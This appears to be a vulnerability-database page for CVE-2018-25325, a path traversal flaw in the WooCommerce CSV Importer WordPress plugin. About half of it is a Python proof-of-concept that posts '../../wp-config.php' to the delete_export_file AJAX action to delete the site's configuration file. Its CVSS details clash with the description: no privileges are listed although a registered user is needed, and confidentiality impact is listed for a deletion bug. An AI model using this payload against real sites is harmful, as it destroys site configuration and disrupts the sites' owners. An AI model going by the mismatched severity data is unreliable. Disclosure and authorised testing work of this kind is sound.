CVE-2018-25325

Description

Woocommerce CSV Importer 3.3.6 contains a path traversal vulnerability that allows any registered user to delete arbitrary files by submitting unescaped filenames through the delete_export_file AJAX action. Attackers can craft POST requests with directory traversal sequences in the filename parameter to delete sensitive files like wp-config.php outside the intended export directory.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Woocommerce CSV Importer 3.3.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "attacker"
password = "password"

# Initialize session
session = requests.Session()

# 1. Authenticate (Simulated login process)
# In a real exploit, you would POST to wp-login.php to get a valid cookie
login_url = target_url.replace('admin-ajax.php', 'wp-login.php')
login_data = {
    'log': username,
    'pwd': password,
    'redirect_to': '',
    'testcookie': '1'
}
# session.post(login_url, data=login_data) # Uncomment to actually login

# 2. Prepare the payload for Path Traversal
# The filename parameter uses '../' to traverse to the root and delete wp-config.php
exploit_data = {
    'action': 'delete_export_file',
    'filename': '../../wp-config.php'
}

# 3. Send the malicious request
try:
    response = session.post(target_url, data=exploit_data)
    
    # 4. Check response
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print(f"[+] Server response: {response.text}")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25325
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25325
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25325/
[4] VulDB https://vuldb.com/cve/CVE-2018-25325
[5] http://lenonleite.com.br/
[6] https://www.exploit-db.com/exploits/44433
[7] https://www.vulncheck.com/advisories/woocommerce-csv-importer-path-traversal-file-deletion

Raw JSON Data

JSON

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